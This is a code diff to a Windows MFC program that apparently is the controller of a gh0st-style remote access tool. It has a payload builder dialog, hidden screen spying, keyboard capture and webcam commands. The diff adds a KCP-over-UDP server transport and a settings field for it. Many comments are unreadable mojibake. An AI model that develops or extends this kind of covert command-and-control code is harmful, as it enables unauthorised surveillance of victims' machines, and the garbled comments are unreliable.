@@ -591,7 +591,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs);
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
Mprintf("===> '%s' already exist!!\n", strIP);
return;
}
LeaveCriticalSection(&m_cs);
@@ -927,7 +927,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
}
if (!Activate(nPort, m_nMaxConnection)){
const std::string method = THIS_CFG.GetStr("settings", "UDPOption");
if (!Activate(nPort, m_nMaxConnection, method)){
OnCancel();
return FALSE;
}
@@ -1552,10 +1553,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString(""))
{
continue;
}
// 发送获得驱动器列表数据包
ContextObject->Send2Client(szBuffer, ulLength);
}
@@ -1682,10 +1680,10 @@ std::vector<std::string> splitByNewline(const std::string& input) {
return lines;
}
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
{
UINT ret = 0;
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection)) !=0 )
if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 )
{
Mprintf("======> StartServer Failed \n");
char cmd[200];
@@ -1712,7 +1710,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
auto cmd = std::string("taskkill /f /pid ") + line;
exec(cmd.c_str());
}
return Activate(nPort, nMaxConnection);
return Activate(nPort, nMaxConnection, method);
}
}else
MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()));
@@ -2114,6 +2112,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
// 回复心跳
// if(0)
{
HeartbeatACK ack = { hb.Time };
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};

View File

@@ -169,7 +169,7 @@ public:
VOID CreateNotifyBar();
VOID CreateSolidMenu();
int m_nMaxConnection;
BOOL Activate(const std::string& nPort,int nMaxConnection);
BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);

View File

@@ -252,6 +252,7 @@
<ClInclude Include="..\..\client\MemoryModule.h" />
<ClInclude Include="..\..\common\aes.h" />
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="..\..\common\iniFile.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
@@ -273,6 +274,7 @@
<ClInclude Include="file\CFileTransferModeDlg.h" />
<ClInclude Include="HideScreenSpyDlg.h" />
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
@@ -317,6 +319,12 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\common\ikcp.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="2015Remote.cpp" />
<ClCompile Include="2015RemoteDlg.cpp" />
<ClCompile Include="AudioDlg.cpp" />
@@ -335,6 +343,7 @@
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
<ClCompile Include="HideScreenSpyDlg.cpp" />
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />

View File

@@ -50,6 +50,8 @@
</ClCompile>
<ClCompile Include="IOCPUDPServer.cpp" />
<ClCompile Include="CDrawingBoard.cpp" />
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -112,6 +114,8 @@
<ClInclude Include="IOCPUDPServer.h" />
<ClInclude Include="Server.h" />
<ClInclude Include="CDrawingBoard.h" />
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -269,6 +269,8 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboProto.InsertString(PROTO_TCP, "TCP");
m_ComboProto.InsertString(PROTO_UDP, "UDP");
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
m_ComboProto.InsertString(PROTO_HTTPS, "---");
m_ComboProto.InsertString(PROTO_KCP, "KCP");
m_ComboProto.SetCurSel(PROTO_TCP);
m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine");

View File

@@ -0,0 +1,226 @@
#include "stdafx.h"
#include "IOCPKCPServer.h"
#include "IOCPServer.h"
IUINT32 IOCPKCPServer::iclock() {
static LARGE_INTEGER freq = {};
static BOOL useQpc = QueryPerformanceFrequency(&freq);
if (useQpc) {
LARGE_INTEGER now;
QueryPerformanceCounter(&now);
return (IUINT32)(1000 * now.QuadPart / freq.QuadPart);
}
else {
return GetTickCount();
}
}
CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket) {
char buf[64];
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
std::string key = buf;
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end()) {
return it->second;
}
// <20>½<EFBFBD> CONTEXT_KCP
CONTEXT_KCP* ctx = new CONTEXT_KCP();
ctx->InitMember(sClientSocket, this);
ctx->clientAddr = addr;
// <20><>ʼ<EFBFBD><CABC> kcp
IUINT32 conv = KCP_SESSION_ID;
ctx->kcp = ikcp_create(conv, ctx);
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
WSABUF wsaBuf = { len, (CHAR*)buf };
DWORD sent = 0;
// <20><><EFBFBD><EFBFBD>ctx<74><EFBFBD><E6B4A2>IP<49>˿ڷ<CBBF><DAB7><EFBFBD>
// ע<>⣺Ҫ<E2A3BA><D2AA>֤ ctx <20><>Ӧ<EFBFBD>ͻ<EFBFBD><CDBB>˵<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD> sClientSocket <20><>ȷ
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
if (ret == SOCKET_ERROR) {
DWORD err = WSAGetLastError();
// <20><><EFBFBD>Դ<EFBFBD>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
return -1;
}
return 0;
};
ikcp_nodelay(ctx->kcp, 1, 10, 2, 1);
ikcp_wndsize(ctx->kcp, 128, 128);
m_clients[key] = ctx;
return ctx;
}
UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
if (m_running) return 1;
m_port = uPort;
m_notify = NotifyProc;
m_offline = OffProc;
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (m_socket == INVALID_SOCKET) return 2;
sockaddr_in addr{};
addr.sin_family = AF_INET;
addr.sin_port = htons(uPort);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
if (!m_hIOCP) return 4;
m_running = true;
// <20><><EFBFBD><EFBFBD>IOCP<43><50><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
((IOCPKCPServer*)param)->WorkerThread();
return 0;
}, this, 0, NULL);
// <20><><EFBFBD><EFBFBD>KCP<43><50>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this);
Mprintf("IOCPKCPServer StartServer: %p\n", this);
return 0;
}
void IOCPKCPServer::WorkerThread() {
char buf[1500];
sockaddr_in clientAddr;
int addrLen = sizeof(clientAddr);
while (m_running) {
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
if (ret > 0) {
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
if (ctx && ctx->kcp) {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_input(ctx->kcp, buf, ret);
}
char recvbuf[4096];
int n = 0;
do {
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf));
}
if (n > 0&& m_notify) {
memcpy(ctx->szBuffer, recvbuf, n);
BOOL ret = ParseReceivedData(ctx, n, m_notify);
}
}while (n>0);
}
}
else {
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK && err != WSAEINTR) {
// <20><>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}
}
Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this);
}
void IOCPKCPServer::KCPUpdateLoop() {
while (m_running) {
IUINT32 current = iclock();
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
CONTEXT_KCP* ctx = kv.second;
if (ctx && ctx->kcp) {
ikcp_update(ctx->kcp, current);
}
}
Sleep(10);
}
}
void IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
if (!ContextObject || !ContextObject->kcp) return;
ContextObject->OutCompressedBuffer.ClearBuffer();
if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength))
return;
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
ikcp_send(ContextObject->kcp,
(const char*)ContextObject->OutCompressedBuffer.GetBuffer(),
(int)ContextObject->OutCompressedBuffer.GetBufferLength());
ikcp_flush(ContextObject->kcp);
}
}
void IOCPKCPServer::Destroy() {
Mprintf("IOCPKCPServer Destroy: %p\n", this);
m_running = false;
if (m_socket != INVALID_SOCKET) {
closesocket(m_socket);
m_socket = INVALID_SOCKET;
}
if (m_hThread) {
WaitForSingleObject(m_hThread, INFINITE);
CloseHandle(m_hThread);
m_hThread = NULL;
}
if (m_kcpUpdateThread.joinable())
m_kcpUpdateThread.join();
if (m_hIOCP) {
CloseHandle(m_hIOCP);
m_hIOCP = NULL;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>пͻ<D0BF><CDBB><EFBFBD>
std::lock_guard<std::mutex> lock(m_contextsMutex);
for (auto& kv : m_clients) {
if (kv.second) {
if (kv.second->kcp) {
ikcp_release(kv.second->kcp);
kv.second->kcp = nullptr;
}
delete kv.second;
}
}
m_clients.clear();
}
void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx) {
if (!ctx) return;
std::string key = ctx->PeerName;
{
std::lock_guard<std::mutex> lock(m_contextsMutex);
auto it = m_clients.find(key);
if (it != m_clients.end()) {
if (it->second == ctx) {
if (m_offline) m_offline(ctx);
if (ctx->kcp) {
ikcp_release(ctx->kcp);
ctx->kcp = nullptr;
}
delete ctx;
m_clients.erase(it);
}
}
}
}

View File

@@ -0,0 +1,67 @@
#pragma once
#include "Server.h"
class CONTEXT_KCP : public CONTEXT_OBJECT {
public:
int addrLen = 0;
sockaddr_in clientAddr = {};
CONTEXT_KCP() {
}
virtual ~CONTEXT_KCP() {
}
std::string GetProtocol() const override {
return "KCP";
}
VOID InitMember(SOCKET s, Server* svr) override {
CONTEXT_OBJECT::InitMember(s, svr);
clientAddr = {};
addrLen = sizeof(sockaddr_in);
}
void Destroy() override {
}
virtual std::string GetPeerName() const override {
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
return client_ip;
}
virtual int GetPort() const override {
int client_port = ntohs(clientAddr.sin_port);
return client_port;
}
};
class IOCPKCPServer : public Server {
public:
IOCPKCPServer(){}
virtual ~IOCPKCPServer(){}
virtual int GetPort() const override { return m_port; }
virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
virtual void Destroy() override;
virtual void Disconnect(CONTEXT_OBJECT* ctx) override;
private:
SOCKET m_socket = INVALID_SOCKET;
HANDLE m_hIOCP = NULL;
HANDLE m_hThread = NULL;
bool m_running = false;
USHORT m_port = 0;
pfnNotifyProc m_notify = nullptr;
pfnOfflineProc m_offline = nullptr;
std::mutex m_contextsMutex;
std::unordered_map<std::string, CONTEXT_KCP*> m_clients; // key: "IP:port"
std::thread m_kcpUpdateThread;
CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket);
void WorkerThread();
void KCPUpdateLoop();
static IUINT32 iclock();
};

View File

@@ -9,6 +9,7 @@
#define XXH_INLINE_ALL
#include "xxhash.h"
#include <WS2tcpip.h>
#include <common/ikcp.h>
#define PACKET_LENGTH 0x2000
@@ -309,7 +310,12 @@ public:
typedef class CONTEXT_OBJECT : public context
{
public:
virtual ~CONTEXT_OBJECT(){}
virtual ~CONTEXT_OBJECT(){
if (kcp) {
ikcp_release(kcp);
kcp = nullptr;
}
}
CString sClientInfo[ONLINELIST_MAX];
CString additonalInfo[RES_MAX];
SOCKET sClientSocket;
@@ -330,6 +336,7 @@ public:
BOOL bLogin; // <20>Ƿ<EFBFBD> login
std::string PeerName; // <20>Զ<EFBFBD>IP
Server* server; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ikcpcb* kcp = nullptr; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>KCP<43>
std::string GetProtocol() const override {
return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP";

View File

@@ -21,6 +21,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
, m_nReportInterval(5)
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
, m_sPublicIP(_T(""))
, m_sUdpOption(_T(""))
{
}
@@ -49,6 +50,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
DDV_MaxChars(pDX, m_sPublicIP, 100);
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
DDV_MaxChars(pDX, m_sUdpOption, 24);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -70,6 +74,7 @@ BOOL CSettingDlg::OnInitDialog()
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
m_sUdpOption = THIS_CFG.GetStr("settings", "UDPOption", "").c_str();
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
@@ -132,6 +137,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
UpdateData(TRUE);
THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer());
THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString());
THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString());
int n = m_ComboScreenCapture.GetCurSel();
THIS_CFG.SetInt("settings", "DXGI", n);

View File

@@ -40,4 +40,6 @@ public:
CString m_sPublicIP;
afx_msg void OnBnClickedRadioAllScreen();
afx_msg void OnBnClickedRadioMainScreen();
CEdit m_EditUdpOption;
CString m_sUdpOption;
};

Binary file not shown.